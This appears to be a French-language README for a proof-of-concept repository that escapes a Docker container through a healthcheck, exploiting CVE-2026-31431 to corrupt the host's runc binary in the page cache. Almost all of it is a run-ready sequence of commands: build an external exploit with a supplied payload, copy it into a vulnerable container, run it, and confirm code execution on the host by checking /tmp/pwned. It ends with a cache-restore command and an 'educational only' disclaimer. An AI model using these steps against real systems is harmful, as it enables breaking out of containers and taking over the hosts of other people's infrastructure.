
# Évasion de conteneur sur n'importe quel conteneur Docker avec healthcheck activé via CVE-2026-31431
https://github.com/user-attachments/assets/2cb0cb67-789a-4461-a0b8-1fe878d9426e
Dans ce dépôt, docker-compose.yml est fourni pour configurer un conteneur vulnérable. Vous pouvez également utiliser tout autre conteneur vulnérable ou configurer le vôtre, mais n'oubliez pas de modifier le code de l'exploit en conséquence.
# Sur la machine hôte
rm -r copy-fail-c /tmp/pwned
docker-compose up -d
git clone https://github.com/tgies/copy-fail-c.git
cp payload.c copy-fail-c/
cd copy-fail-c && make && cp exploit ../ && cd ..
docker cp exp.sh copyfail:/tmp/
docker cp exploit copyfail:/tmp/
docker exec -it copyfail /bin/sh
# À l'intérieur du conteneur copyfail
cd /tmp
chmod +x exp.sh exploit
./exp.sh
# Attendez quelques minutes que le healthcheck s'exécute
# et vérifiez si /tmp/pwned est créé sur l'hôte
# Sur la machine hôte
ls /tmp/pwned
Une fois l'exploit réussi, le pagecache du binaire runc sur la machine hôte est corrompu. Vous pouvez le restaurer en exécutant echo 3 | sudo tee /proc/sys/vm/drop_caches sur l'hôte.
Ce dépôt est uniquement destiné à des fins éducatives. Il ne doit pas être utilisé pour des activités malveillantes. L'auteur n'est pas responsable des dommages causés par une mauvaise utilisation de ce code. Utilisez-le toujours dans un environnement contrôlé et légal.